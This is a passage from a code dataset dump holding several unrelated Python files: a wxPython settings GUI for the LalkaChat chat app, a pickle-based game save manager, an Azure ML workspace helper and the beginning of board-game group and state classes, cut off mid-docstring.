translation\n\n\ndef translate(item):\n item_no_flags = item.split('/')[0]\n old_item = item_no_flags\n\n translation = find_translation(item_no_flags, length=len(item_no_flags.split(MODULE_KEY)))\n\n if re.match('\\*', translation):\n return old_item\n return translation.decode('utf-8')\n\n\ndef check_duplicate(item, window):\n items = window.GetItems()\n if item in items:\n return True\n return False\n\n\ndef create_categories(loaded_modules):\n cat_dict = {}\n for module_name, module_config in loaded_modules.items():\n parser = module_config['parser'] # type: FlagConfigParser\n if parser.has_section(INFORMATION_TAG) and parser.has_option(INFORMATION_TAG, 'category'):\n tag = parser.get(INFORMATION_TAG, 'category')\n item_dict = {module_name: module_config}\n for key, value in parser.items(INFORMATION_TAG):\n if key == 'hidden':\n item_dict[module_name][key] = [h_item.strip() for h_item in value.split(',')]\n if tag in cat_dict:\n cat_dict[tag].append(item_dict)\n else:\n cat_dict[tag] = [item_dict]\n return cat_dict\n\n\nclass MainMenuToolBar(wx.ToolBar):\n def __init__(self, *args, **kwargs):\n self.main_class = kwargs['main_class']\n kwargs.pop('main_class')\n\n kwargs[\"style\"] = wx.TB_NOICONS | wx.TB_TEXT\n\n wx.ToolBar.__init__(self, *args, **kwargs)\n self.SetToolBitmapSize((0, 0))\n\n self.create_tool('menu.settings', self.main_class.on_settings)\n self.create_tool('menu.reload', self.main_class.on_about)\n\n self.Realize()\n\n def create_tool(self, name, binding=None, style=wx.ITEM_NORMAL, s_help=\"\", l_help=\"\"):\n l_id = id_renew(name)\n IDS[l_id] = name\n label_text = translate(IDS[l_id])\n button = self.AddLabelTool(l_id, label_text, wx.NullBitmap, wx.NullBitmap,\n style, s_help, l_help)\n if binding:\n self.main_class.Bind(wx.EVT_TOOL, binding, id=l_id)\n return button\n\n\nclass SettingsWindow(wx.Frame):\n main_grid = None\n notebook = None\n page_list = []\n selected_cell = None\n\n def __init__(self, *args, **kwargs):\n self.spacer_size = (0, 10)\n self.main_class = kwargs.pop('main_class') # type: ChatGui\n\n wx.Frame.__init__(self, *args, **kwargs)\n\n # Setting up the window\n self.SetBackgroundColour('cream')\n self.show_hidden = self.main_class.gui_settings.get('show_hidden')\n\n # Setting up events\n self.Bind(wx.EVT_CLOSE, self.on_close_save)\n\n styles = wx.DEFAULT_FRAME_STYLE\n if wx.STAY_ON_TOP & self.main_class.GetWindowStyle() == wx.STAY_ON_TOP:\n styles = styles | wx.STAY_ON_TOP\n self.SetWindowStyle(styles)\n\n self.create_layout()\n\n def on_exit(self, event):\n self.Destroy()\n\n def on_close(self, event):\n dialog = wx.MessageDialog(self, message=\"Are you sure you want to quit?\",\n caption=\"Caption\",\n style=wx.YES_NO,\n pos=wx.DefaultPosition)\n response = dialog.ShowModal()\n\n if response == wx.ID_YES:\n self.on_exit(event)\n else:\n event.StopPropagation()\n\n def on_close_save(self, event):\n dialog = wx.MessageDialog(self, message=\"Are you sure you want to quit?\\n\"\n \"Warning, your settings will not be saved.\",\n caption=\"Caption\",\n style=wx.YES_NO,\n pos=wx.DefaultPosition)\n response = dialog.ShowModal()\n\n if response == wx.ID_YES:\n self.on_exit(event)\n else:\n event.StopPropagation()\n\n def create_layout(self):\n self.main_grid = wx.BoxSizer(wx.VERTICAL)\n style = wx.NB_TOP\n self.notebook = wx.Notebook(self, id=wx.ID_ANY, style=style)\n self.main_grid.Add(self.notebook, 1, wx.EXPAND)\n self.SetSizer(self.main_grid)\n self.Show(True)\n\n def remove_pages(self, key):\n for item in range(self.notebook.GetPageCount()):\n text = self.notebook.GetPageText(0)\n if not key == text and key not in self.page_list:\n self.notebook.DeletePage(0)\n\n def fill_notebook_with_modules(self, category_list, setting_category):\n page_list = []\n for category_dict in category_list:\n category_item, category_config = category_dict.iteritems().next()\n translated_item = translate(category_item)\n if translated_item not in self.page_list:\n panel = wx.Panel(self.notebook)\n self.fill_page_with_content(panel, setting_category, category_item, category_config)\n self.notebook.AddPage(panel, translated_item)\n page_list.append(translated_item)\n else:\n page_list.append(translated_item)\n self.page_list = page_list\n\n def fill_page_with_content(self, panel, setting_category, category_item, category_config):\n def create_button(button_key, function):\n button_id = id_renew(button_key, update=True)\n c_button = wx.Button(panel, id=button_id, label=translate(button_key))\n self.Bind(wx.EVT_BUTTON, function, id=button_id)\n return c_button\n\n # Creating sizer for page\n sizer = wx.BoxSizer(wx.VERTICAL)\n # Window for settings\n page_sc_window = wx.ScrolledWindow(panel, id=id_renew(category_item), style=wx.VSCROLL)\n page_sc_window.SetScrollbars(5, 5, 10, 10)\n\n config = self.prepare_config_for_window(category_config)\n\n self.fill_sc_with_config(page_sc_window, config, category_item)\n\n sizer.Add(page_sc_window, 1, wx.EXPAND)\n # Buttons\n button_sizer = wx.BoxSizer(wx.HORIZONTAL)\n for button_name in ['apply_button', 'cancel_button']:\n button_sizer.Add(create_button(MODULE_KEY.join([setting_category, category_item, button_name]),\n self.button_clicked), 0, wx.ALIGN_RIGHT)\n sizer.Add(button_sizer, 0, wx.ALIGN_RIGHT)\n panel.SetSizer(sizer)\n panel.Layout()\n pass\n\n def fill_sc_with_config(self, page_sc_window, config, category_item):\n border_all = 5\n sizer = wx.BoxSizer(wx.VERTICAL)\n for section in config['sections']:\n section_key, section_tuple = section\n if section_key in SKIP_TAGS:\n continue\n\n static_key = MODULE_KEY.join([category_item, section_key])\n static_box = wx.StaticBox(page_sc_window, label=translate(static_key))\n static_sizer = wx.StaticBoxSizer(static_box, wx.VERTICAL)\n\n log.debug(\"Working on {0}\".format(static_key))\n\n view = 'normal'\n if section_key in config['gui']: # type: dict\n log.debug('{0} has gui settings'.format(static_key))\n view = config['gui'][section_key].get('view', 'normal')\n\n static_sizer.Add(self.create_items(static_box, static_key,\n view, section_tuple, config['gui'].get(section_key, {})),\n 0, wx.EXPAND | wx.ALL, border_all)\n\n sizer.Add(static_sizer, 0, wx.EXPAND)\n page_sc_window.SetSizer(sizer)\n\n @staticmethod\n def prepare_config_for_window(category_config):\n parser = FlagConfigParser(allow_no_value=True) # type: FlagConfigParser\n parser.readfp(open(category_config['file']))\n config_dict = {'gui': {}, 'sections': []}\n for section in parser.sections():\n if SECTION_GUI_TAG in section:\n gui_dict = {}\n section_items = None\n for item, value in parser.items(section):\n if item == 'for':\n section_items = [value_item.strip() for value_item in value.split(',')]\n elif item == 'hidden':\n gui_dict[item] = [value_item.strip() for value_item in value.split(',')]\n else:\n gui_dict[item] = value\n\n if section_items:\n for section_item in section_items:\n config_dict['gui'][section_item] = gui_dict\n else:\n tag_values = []\n for item, value in parser.items(section):\n tag_values.append((item, value))\n config_dict['sections'].append((section, tag_values))\n return config_dict\n\n def create_items(self, parent, key, view, section, section_gui):\n sizer = wx.BoxSizer(wx.VERTICAL)\n addable_sizer = None\n if 'list' in view:\n is_dual = True if 'dual' in view else False\n style = wx.ALIGN_CENTER_VERTICAL\n item_sizer = wx.BoxSizer(wx.VERTICAL)\n if section_gui.get('addable', False):\n addable_sizer = wx.BoxSizer(wx.HORIZONTAL)\n item_input_key = MODULE_KEY.join([key, 'list_input'])\n addable_sizer.Add(wx.TextCtrl(parent, id=id_renew(item_input_key, update=True)), 0, style)\n if is_dual:\n item_input2_key = MODULE_KEY.join([key, 'list_input2'])\n addable_sizer.Add(wx.TextCtrl(parent, id=id_renew(item_input2_key, update=True)), 0, style)\n\n item_apply_key = MODULE_KEY.join([key, 'list_add'])\n item_apply_id = id_renew(item_apply_key, update=True)\n addable_sizer.Add(wx.Button(parent, id=item_apply_id, label=translate(item_apply_key)), 0, style)\n self.Bind(wx.EVT_BUTTON, self.button_clicked, id=item_apply_id)\n\n item_remove_key = MODULE_KEY.join([key, 'list_remove'])\n item_remove_id = id_renew(item_remove_key, update=True)\n addable_sizer.Add(wx.Button(parent, id=item_remove_id, label=translate(item_remove_key)), 0, style)\n self.Bind(wx.EVT_BUTTON, self.button_clicked, id=item_remove_id)\n\n item_sizer.Add(addable_sizer, 0, wx.EXPAND)\n list_box = wx.grid.Grid(parent, id=id_renew(MODULE_KEY.join([key, 'list_box']), update=True))\n list_box.CreateGrid(0, 2 if is_dual else 1)\n list_box.DisableDragColSize()\n list_box.DisableDragRowSize()\n list_box.Bind(wx.grid.EVT_GRID_SELECT_CELL, self.select_cell)\n\n for index, items in enumerate(section):\n item, value = items\n list_box.AppendRows(1)\n if is_dual:\n list_box.SetCellValue(index, 0, item.decode('utf-8'))\n list_box.SetCellValue(index, 1, value.decode('utf-8'))\n else:\n list_box.SetCellValue(index, 0, item.decode('utf-8'))\n list_box.SetColLabelSize(1)\n list_box.SetRowLabelSize(1)\n if addable_sizer:\n col_size = addable_sizer.GetMinSize()[0] - 2\n if is_dual:\n first_col_size = list_box.GetColSize(0)\n second_col_size = col_size - first_col_size if first_col_size < col_size else -1\n list_box.SetColSize(1, second_col_size)\n else:\n list_box.SetDefaultColSize(col_size, resizeExistingCols=True)\n else:\n list_box.AutoSize()\n\n # Adding size of scrollbars\n size = list_box.GetEffectiveMinSize()\n size[0] += 18\n size[1] += 18\n list_box.SetMinSize(size)\n item_sizer.Add(list_box, 1, wx.EXPAND)\n\n sizer.Add(item_sizer)\n else:\n items_to_add = []\n if not section:\n return sizer\n last_item = section[-1][0]\n for item, value in section:\n if not self.show_hidden and 'hidden' in section_gui and item in section_gui.get('hidden'):\n continue\n item_name = MODULE_KEY.join([key, item])\n # Checking type of an item\n style = wx.ALIGN_CENTER_VERTICAL\n if not value: # Button\n button_id = id_renew(item_name, update=True)\n item_button = wx.Button(parent, id=button_id, label=translate(item_name))\n items_to_add.append((item_button, 0, wx.ALIGN_LEFT))\n self.main_class.Bind(wx.EVT_BUTTON, self.button_clicked, id=button_id)\n elif value.lower() in ['true', 'false']: # Checkbox\n item_box = wx.CheckBox(parent, id=id_renew(item_name, update=True),\n label=translate(item_name), style=style)\n item_box.SetValue(True if value.lower() == 'true' else False)\n items_to_add.append((item_box, 0, wx.ALIGN_LEFT))\n else: # TextCtrl\n item_sizer = wx.BoxSizer(wx.HORIZONTAL)\n item_box = wx.TextCtrl(parent, id=id_renew(item_name, update=True),\n value=value.decode('utf-8'))\n item_text = wx.StaticText(parent, label=translate(item_name),\n style=wx.ALIGN_RIGHT)\n item_spacer = (10, 0)\n item_sizer.AddMany([(item_text, 0, wx.ALIGN_RIGHT | wx.ALIGN_CENTER_VERTICAL),\n (item_spacer, 0, 0),\n (item_box, 0)])\n items_to_add.append(item_sizer)\n if not item == last_item:\n items_to_add.append((self.spacer_size, 0, 0))\n sizer.AddMany(items_to_add)\n return sizer\n\n def button_clicked(self, event):\n log.debug(\"[Settings] Button clicked: {0}\".format(IDS[event.GetId()]))\n button_id = event.GetId()\n keys = IDS[button_id].split(MODULE_KEY)\n if keys[-1] in ['list_add', 'list_remove']:\n self.list_operation(MODULE_KEY.join(keys[:-1]), action=keys[-1])\n elif keys[-1] == 'apply_button':\n self.save_settings(MODULE_KEY.join(keys[1:-1]), MODULE_KEY.join(keys[:-1]))\n elif keys[-1] == 'cancel_button':\n self.on_close(event)\n event.Skip()\n\n def save_settings(self, module, key):\n module_config = self.main_class.loaded_modules.get(module, {})\n if module_config:\n parser = module_config['parser']\n items = get_list_of_ids_from_module_name(module, tuple=True)\n for item, name in items:\n module_name, section, item_name = name.split(MODULE_KEY)\n wx_window = wx.FindWindowById(item)\n if isinstance(wx_window, wx.CheckBox):\n if name == MODULE_KEY.join(['config', 'gui', 'show_hidden']):\n self.show_hidden = wx_window.IsChecked()\n parser.set(section, item_name, wx_window.IsChecked())\n elif isinstance(wx_window, wx.TextCtrl):\n if item_name not in SKIP_TXT_CONTROLS:\n parser.set(section, item_name, wx_window.GetValue().encode('utf-8'))\n elif isinstance(wx_window, wx.grid.Grid):\n col_count = wx_window.GetNumberCols()\n row_count = wx_window.GetNumberRows()\n parser_options = parser.options(section)\n grid_elements = [[wx_window.GetCellValue(row, col).encode('utf-8')\n for col in range(col_count)]\n for row in range(row_count)]\n if not grid_elements:\n for option in parser_options:\n parser.remove_option(section, option)\n else:\n for option in parser_options:\n for elements in grid_elements:\n if option not in elements:\n parser.remove_option(section, option)\n for elements in grid_elements:\n parser.set(section, *elements)\n elif isinstance(wx_window, wx.Button):\n if item_name not in SKIP_BUTTONS:\n parser.set(section, item_name)\n\n with open(module_config['file'], 'w') as config_file:\n parser.write(config_file)\n\n def select_cell(self, event):\n self.selected_cell = (event.GetRow(), event.GetCol())\n event.Skip()\n\n def list_operation(self, key, action):\n if action == 'list_add':\n list_input_value = wx.FindWindowById(get_id_from_name(MODULE_KEY.join([key, 'list_input']))).GetValue()\n\n try:\n list_input2 = wx.FindWindowById(get_id_from_name(MODULE_KEY.join([key, 'list_input2']), error=True))\n list_input2_value = list_input2.GetValue() if list_input2 else None\n except ReferenceError:\n list_input2_value = None\n\n list_box = wx.FindWindowById(get_id_from_name(MODULE_KEY.join([key, 'list_box'])))\n list_box.AppendRows(1)\n row_count = list_box.GetNumberRows() - 1\n list_box.SetCellValue(row_count, 0, list_input_value)\n if list_input2_value:\n list_box.SetCellValue(row_count, 1, list_input2_value)\n\n elif action == 'list_remove':\n list_box = wx.FindWindowById(get_id_from_name(MODULE_KEY.join([key, 'list_box'])))\n top = list_box.GetSelectionBlockTopLeft()\n bot = list_box.GetSelectionBlockBottomRight()\n if top and bot:\n top = top[0][0]\n bot = bot[0][0] + 1\n del_rows = range(top, bot) if top < bot else range(bot, top)\n else:\n del_rows = [self.selected_cell[0]]\n\n if list_box.GetNumberRows():\n ids_deleted = 0\n for select in del_rows:\n list_box.DeleteRows(select - ids_deleted)\n ids_deleted += 1\n\n\nclass ChatGui(wx.Frame):\n settings_window = None\n\n def __init__(self, parent, title, url, **kwargs):\n wx.Frame.__init__(self, parent, title=title, size=(450, 500))\n\n # Setting the settings\n self.main_config = kwargs.get('main_config')\n self.gui_settings = kwargs.get('gui_settings')\n self.loaded_modules = kwargs.get('loaded_modules')\n\n # Set window style\n styles = wx.DEFAULT_FRAME_STYLE\n if self.gui_settings.get('on_top', False):\n log.info(\"Application is on top\")\n styles = styles | wx.STAY_ON_TOP\n self.SetFocus()\n self.SetWindowStyle(styles)\n\n # Creating categories for gui\n log.debug(\"Sorting modules to categories\")\n self.sorted_categories = create_categories(self.loaded_modules)\n\n # Creating main gui window\n vbox = wx.BoxSizer(wx.VERTICAL)\n self.toolbar = MainMenuToolBar(self, main_class=self)\n self.settings_menu = self.create_menu(\"settings\", self.sorted_categories)\n self.browser_window = chromectrl.ChromeCtrl(self, useTimer=False, url=str(url), hasNavBar=False)\n\n vbox.Add(self.toolbar, 0, wx.EXPAND)\n vbox.Add(self.browser_window, 1, wx.EXPAND)\n\n # Set events\n self.Bind(wx.EVT_CLOSE, self.on_exit)\n\n # Show window after creation\n self.SetSizer(vbox)\n self.Show(True)\n\n def on_about(self, event):\n self.browser_window.Refresh()\n event.Skip()\n\n def on_exit(self, event):\n log.info(\"Exiting...\")\n self.Destroy()\n event.Skip()\n\n def on_right_down(self, event):\n log.info(\"RClick\")\n event.Skip()\n\n def on_settings(self, event):\n log.debug(\"Opening menu {0}\".format(IDS[event.GetId()]))\n tool_index = self.toolbar.GetToolPos(get_id_from_name('menu.settings'))\n tool_size = self.toolbar.GetToolSize()\n bar_position = self.toolbar.GetScreenPosition() - self.GetScreenPosition()\n offset = tool_size[0] + (1 * tool_index)\n lower_left_corner = (bar_position[0] + (offset * tool_index),\n bar_position[1] + tool_size[1])\n menu_position = (lower_left_corner[0] - bar_position[0],\n lower_left_corner[1] - bar_position[1])\n\n self.PopupMenu(self.settings_menu, menu_position)\n event.Skip()\n\n def on_settings_button(self, event):\n log.debug(\"Got event from {0}\".format(IDS[event.GetId()]))\n module_groups = IDS[event.GetId()].split(MODULE_KEY)\n settings_category = MODULE_KEY.join(module_groups[1:-1])\n settings_menu_id = id_renew(settings_category, update=True)\n if self.settings_window:\n self.settings_window.notebook.Show(False)\n self.settings_window.SetFocus()\n self.settings_window.SetTitle(translate(MODULE_KEY.join(module_groups[:-1])))\n self.settings_window.remove_pages(translate(module_groups[-1]))\n else:\n self.settings_window = SettingsWindow(self,\n id=settings_menu_id,\n title=translate(MODULE_KEY.join(module_groups[:-1])),\n size=(500, 400),\n main_class=self)\n\n self.settings_window.fill_notebook_with_modules(self.sorted_categories[settings_category], settings_category)\n self.settings_window.notebook.SetSelection(self.settings_window.page_list.index(translate(module_groups[-1])))\n self.settings_window.notebook.Show(True)\n event.Skip()\n\n def create_menu(self, name, modules, menu_named=False):\n settings_menu = wx.Menu(translate(name)) if menu_named else wx.Menu()\n # Creating menu items\n for category, category_items in modules.items():\n category_name = MODULE_KEY.join([name, category])\n category_sub_menu = wx.Menu()\n for category_dict in category_items:\n category_item_name, settings = category_dict.iteritems().next()\n sub_name = MODULE_KEY.join([category_name, category_item_name])\n category_menu_item = category_sub_menu.Append(id_renew(sub_name, update=True),\n translate(category_item_name))\n self.Bind(wx.EVT_MENU, self.on_settings_button, id=category_menu_item.GetId())\n settings_menu.AppendSubMenu(category_sub_menu, translate(category_name))\n return settings_menu\n\n def button_clicked(self, event):\n log.debug(\"[ChatGui] Button clicked: {0}\".format(IDS[event.GetId()]))\n button_id = event.GetId()\n keys = IDS[event.GetId()].split(MODULE_KEY)\n event.Skip()\n\n\nclass GuiThread(threading.Thread):\n title = 'LalkaChat'\n url = 'http://localhost'\n port = '8080'\n\n def __init__(self, **kwds):\n threading.Thread.__init__(self)\n self.daemon = True\n self.gui_settings = kwds.get('gui_settings', {})\n self.loaded_modules = kwds.get('loaded_modules', {})\n self.main_config = kwds.get('main_config', {})\n if 'webchat' in self.loaded_modules:\n self.port = self.loaded_modules['webchat']['port']\n\n def run(self):\n chromectrl.Initialize()\n url = ':'.join([self.url, self.port])\n load_translations(self.main_config, self.gui_settings.get('language', 'default'))\n app = wx.App(False) # Create a new app, don't redirect stdout/stderr to a window.\n frame = ChatGui(None, \"LalkaChat\", url, main_config=self.main_config, gui_settings=self.gui_settings,\n loaded_modules=self.loaded_modules) # A Frame is a top-level window.\n app.MainLoop()\n","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":26626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"139575140","text":"import pickle\nimport json\nimport os.path\nimport os\nimport shutil\nfrom debug import *\n\n# a class to manage all the saves in the saves file\nclass SavesManager:\n def __init__(self):\n # all saves' names\n self.saves = []\n # the name of the current save file being referenced (run by player)\n self.current = None\n\n def set_current(self, name):\n self.current = name\n return True\n\n def add_save(self, name):\n if name not in self.saves:\n self.saves.append(name)\n self.current = name\n return True\n return False\n\n def remove_save(self, name):\n if name in self.saves:\n self.saves.remove(name)\n return True\n return False\n\n def __str__(self):\n return \"current save: \" + str(self.current) + \", saves: \" + str(self.saves)\n\ndef set_current_game(name):\n sm = None\n res = None\n with open(\"save/saves.object\", 'rb') as saves:\n sm = pickle.load(saves)\n res = sm.set_current(name)\n\n with open(\"save/saves.object\", 'wb') as saves:\n pickle.dump(sm, saves, pickle.HIGHEST_PROTOCOL)\n return res\n\ndef get_current_game():\n with open(\"save/saves.object\", 'rb') as saves:\n return pickle.load(saves).current\n\ndef add_save(name, world):\n sm = None\n res = None\n\n # read file and make changes\n with open(\"save/saves.object\", 'rb') as saves:\n sm = pickle.load(saves)\n res = sm.add_save(name)\n\n # write to file\n with open(\"save/saves.object\", \"wb\") as saves:\n pickle.dump(sm, saves, pickle.HIGHEST_PROTOCOL)\n\n # if successfully changed the current save to the new slot, then will put world in that slot\n if res:\n save_world(world)\n else:\n dprint(\"unable to add save\")\n\n return res\n\n# the current game has been won or lost, so the game should be removed from the saves\ndef finish_current_game():\n sm = None\n # read file and make changes\n with open(\"save/saves.object\", 'rb') as saves:\n sm = pickle.load(saves)\n\n sm.remove_save(sm.current)\n\n # write to file\n with open(\"save/saves.object\", \"wb\") as saves:\n pickle.dump(sm, saves, pickle.HIGHEST_PROTOCOL)\n\ndef get_saves():\n if os.path.isfile(\"save/saves.object\"):\n with open(\"save/saves.object\", 'rb') as saves:\n return pickle.load(saves).saves\n else:\n reset_saves()\n with open(\"save/saves.object\", 'rb') as saves:\n return pickle.load(saves).saves\n\n# delete all the files in the save folder, and then create a new one with a new savesmanager\ndef reset_saves():\n try:\n shutil.rmtree('save')\n except:\n pass\n\n os.makedirs('save')\n \n with open(\"save/saves.object\", 'wb+') as saves:\n sm = SavesManager()\n pickle.dump(sm, saves, pickle.HIGHEST_PROTOCOL)\n\n# utility for opening json files\ndef get_json(name):\n with open('assets/data/' + name + '.json') as json_file:\n return json.load(json_file)\n\n# utility for accessing the saved world\ndef save_world(world):\n with open('save/' + get_current_game() + '_world.object','wb+') as world_file:\n pickle.dump(world, world_file, pickle.HIGHEST_PROTOCOL)\n return get_world() \n\n# get the currently appropriate instance of World\ndef get_world():\n with open('save/' + get_current_game() + '_world.object','rb') as world_file:\n return pickle.load(world_file)\n\n# files on an in-game comptuer\ndef computer_files(name):\n return get_json('game_files')[name]\n\n# actions dict from the actions.json\ndef all_actions():\n return get_json('actions')\n\n# dialogues dict from the dialogues.json\ndef all_dialogues():\n return get_json('dialogues')\n\n# passwords dict from the passwords.json\ndef get_password(name):\n passwords = get_json(\"passwords\")\n if name in passwords:\n return passwords[name]\n return False\n\n# programs dict from the passwords.json\ndef get_program(compname, programname):\n ps = get_json(\"programs\")\n if compname + \" \" + programname in ps:\n return ps[compname + \" \" + programname]\n return False\n\n# get the map of the world (ASCII)\ndef get_map():\n with open('assets/data/map.txt','r') as mapfile:\n return mapfile.readlines()\n\n# ------other useful function------------------------------------------ #\n\n# the number of the game being played\ndef get_trial_num():\n tn = None\n with open('assets/data/trial_number.object','rb') as tnfile:\n tn = int(pickle.load(tnfile))\n\n with open('assets/data/trial_number.object', 'wb') as tnfile:\n pickle.dump(tn + 1, tnfile, pickle.HIGHEST_PROTOCOL)\n\n return tn\n\n# reset the trial num to 1265\ndef set_trial_num():\n with open('assets/data/trial_number.object', 'wb+') as tnfile:\n pickle.dump(1265, tnfile, pickle.HIGHEST_PROTOCOL)","sub_path":"stable releases/src/stable1.0/accessor.py","file_name":"accessor.py","file_ext":"py","file_size_in_byte":4811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"492386021","text":"from azureml.core import Workspace\n\ndef get_workspace():\n\n ws = Workspace.get(name='ml-flow-test', subscription_id='b242efdc-f14b-4f3e-a454-0377fa50302b', resource_group='MLflow-analytics')\n return ws\n\nif __name__ == '__main__':\n workspace = get_workspace()\n print(\"ok\")","sub_path":"Archive/ml-flow-test/workspace.py","file_name":"workspace.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"480706889","text":"infinity = 9999\n\n\nclass Group:\n \"\"\"\n This class stores the necessary values for the group identification, namely:\n\n - 'elements' - list of (i,j) elements in the group\n - 'liberties' - set of (i,j) liberties of the group\n - 'n_liberties' - number of liberties of the group\n\n \"\"\"\n def __init__(self, initial_element):\n \"\"\"\n :param initial_element: tuple with point coordinates\n \"\"\"\n self.elements = [initial_element]\n self.liberties = set()\n self.n_liberties = 0\n\n def __copy__(self):\n \"\"\"\n Copies a group object info\n\n :return: group object\n \"\"\"\n new_group = Group(None)\n\n new_group.elements = self.elements.copy()\n new_group.liberties = self.liberties.copy()\n new_group.n_liberties = self.n_liberties\n\n return new_group\n\n def add_element(self, element):\n \"\"\"\n Adds a list of elements (list of tuples) to the group.\n\n :param: element - element to add to the group\n \"\"\"\n self.elements.extend(element)\n\n def add_liberty(self, liberty):\n \"\"\"\n Tries to add a liberty. If size changes, it means\n liberty was not yet on the set and therefore number\n of liberties must be incremented, since liberty was\n added.\n\n :param: liberty - liberty to be added as a tuple\n \"\"\"\n previous_len = len(self.liberties)\n self.liberties.add(liberty) # only adds to the set if the element is not present already\n updated_len = len(self.liberties)\n\n if previous_len < updated_len:\n self.n_liberties += 1\n\n def remove_liberty(self, row, col):\n \"\"\"\n Removes a liberty from the group\n\n :param: row - row of liberty to remove\n :param: col - col of liberty to remove\n \"\"\"\n try:\n self.liberties.remove((row, col))\n self.n_liberties -= 1\n except:\n pass\n\n def add_liberties(self, row, col, board):\n \"\"\"\n This function calculates the liberties for the given point,\n and updates the corresponding group information regarding so.\n\n :param row: row point position\n :param col: col point position\n :param board: matrix with board pieces\n \"\"\"\n\n # check all 4 neighbors. If the neighbor is empty (= 0) it's a liberty\n\n if row - 1 >= 0:\n if board[row - 1][col] == 0:\n self.add_liberty((row - 1, col))\n if row + 1 < len(board):\n if board[row + 1][col] == 0:\n self.add_liberty((row + 1, col))\n if col - 1 >= 0:\n if board[row][col - 1] == 0:\n self.add_liberty((row, col - 1))\n if col + 1 < len(board):\n if board[row][col + 1] == 0:\n self.add_liberty((row, col + 1))\n\n def merge_groups(self, player, groups, left_neighbor_group):\n \"\"\"\n This function is responsible for merging two connected groups initially\n identified as separated components.\n\n :param player: next player to move\n :param groups: dictionary with groups' information\n :param left_neighbor_group: group to merge\n :return board elements to update on the board\n \"\"\"\n\n # 1) merge elements\n elements_to_merge = groups[player][left_neighbor_group].elements\n self.add_element(elements_to_merge)\n\n # 2) merge liberties (liberties count is updated internally)\n liberties_to_merge = groups[player][left_neighbor_group].liberties\n for liberty in liberties_to_merge:\n self.add_liberty(liberty)\n\n return elements_to_merge\n\n\nclass State:\n \"\"\"\n This class stores the necessary values for the state definition\n\n - player - defines next player to move\n - size - defines the size of the board\n - draw - this variable plays a flag role. Takes the values:\n -1: if terminal test was not yet evaluated\n 0: if terminal test was evaluated, but no draw exists\n 1: if terminal test was evaluated, and a draw was found\n By storing this information, we can avoid recomputing a terminal test\n that has already been computed in an earlier stage, saving time.\n - group_board - displays the board with the component's groups\n - groups - dictionary with group labels as keys and the corresponding Group\n object associated as the value.\n - counters - dictionary with group counter for player 1 and player 2\n\n Note:\n 1) players' counters are necessary when adding more groups, to avoid overwritting\n groups already existing\n 2) To access group N structure or counter, just use N as key. (e.g: groups[player][N] returns\n group N structure for player 1)\n 3) to make it more intuitive, groups for player 1 are odd, whereas groups for player 2 are even\n \"\"\"\n\n def __init__(self, player, size, initial_board, copy=False):\n self.player = player\n self.draw = -1\n self.size = size\n self.group_board = None\n self.groups = None\n self.counters = None\n\n if not copy:\n group_board, player_groups, player_counters = self.initialize_groups(initial_board)\n self.group_board = group_board\n self.groups = player_groups\n self.counters = player_counters\n\n def __copy__(self):\n \"\"\"\n Copies a state object\n\n :return: a new State object\n \"\"\"\n new_state = State(self.player, self.size, None, copy=True)\n\n new_state.group_board = [row.copy() for row in self.group_board]\n new_state.counters = {1: self.counters[1], 2: self.counters[2]}\n\n new_groups = dict({1: dict(), 2: dict()})\n for player in [1,2]:\n for k, v in self.groups[player].items():\n new_groups[player][k] = v.__copy__()\n new_state.groups = new_groups\n\n return new_state\n\n def initialize_groups(self, initial_board):\n \"\"\"\n This function receives the initial board and returns the state parameters\n\n :param initial_board: initial board configuration read from file\n :return: group_board: board with component labels\n player_groups: dict with groups for each player\n player_counters: key counter for each player\n \"\"\"\n\n \"\"\"\n Component identification goes as follows:\n 1) Look for a group neighbor on the row above. If existent, join group.\n 2) Look for a group neighbor on the col on the left. If existent:\n 2.1) If neighbor was found both on top and left, then merge left group\n w/ top group\n 2.2) If only left neighbor was found, then join current point to left\n group.\n 3) If no neighbor was found (same player piece in any of the neighboring points)\n then a new group is created\n \"\"\"\n\n # a matrix containing the number of the group each point belongs to or 0 (for empty)\n group_board = [[0] * len(initial_board) for i in range(len(initial_board))]\n # the groups for player 1 and for player 2\n groups = {1: dict(), 2: dict()}\n # counter for the group names. player 1: odd numbers; player 2: even numbers\n counters = {1: 1, 2: 2}\n\n for row in range(len(initial_board)):\n for col in range(len(initial_board)):\n\n player = initial_board[row][col]\n\n # Check if current point is occupied. If not, it just skips to next point\n if initial_board[row][col] != 0:\n\n if row - 1 >= 0:\n top_neighbor = initial_board[row - 1][col]\n top_neighbor_group = group_board[row - 1][col]\n\n if top_neighbor_group != 0 and top_neighbor == player:\n # updates group board\n group_board[row][col] = top_neighbor_group\n # adds element to group structure\n new_elements = [(row, col)]\n groups[player][group_board[row][col]].add_element(new_elements)\n\n if col - 1 >= 0:\n left_neighbor = initial_board[row][col - 1]\n left_neighbor_group = group_board[row][col - 1]\n\n if left_neighbor_group != 0 and left_neighbor == player:\n # verifies if groups must be merged (condition 2.1)\n # by checking group_board[row][col] != 0, we ensure a group has been\n # attributed before\n if group_board[row][col] != 0 and left_neighbor_group != group_board[row][col]:\n # updates left neighbor's group elements\n group = group_board[row][col]\n elements_to_merge = groups[player][group].merge_groups(player, groups, left_neighbor_group)\n\n # removes old group from dictionary\n groups[player].pop(left_neighbor_group)\n # updates group board\n for old_element_row, old_element_col in elements_to_merge:\n group_board[old_element_row][old_element_col] = group_board[row][col]\n\n # no neighbor on top, just join left neighbor's group (condition 2.2)\n elif group_board[row][col] == 0:\n # updates group board\n group_board[row][col] = left_neighbor_group\n # adds element to group structure\n new_elements = [(row, col)]\n groups[player][group_board[row][col]].add_element(new_elements)\n\n # if no merging neighbors were found, than just creates a new group\n if group_board[row][col] == 0:\n group_board[row][col] = counters[player]\n groups[player][counters[player]] = Group((row, col))\n counters[player] += 2\n\n # Finally, add information about group's liberties to the structure\n group = group_board[row][col]\n groups[player][group].add_liberties(row, col, initial_board)\n\n return group_board, groups, counters\n\n def update_state(self, a):\n \"\"\"\n This function updates the state representation after a change in the state\n\n :param: a - tuple (player, x, y) with action to perform\n \"\"\"\n # Next player\n self.update_player()\n\n # Reset draw\n self.draw = False\n\n # Update group board and groups\n self.update_groups(a)\n\n def update_player(self):\n \"\"\"\n Update info about next player to move.\n Since 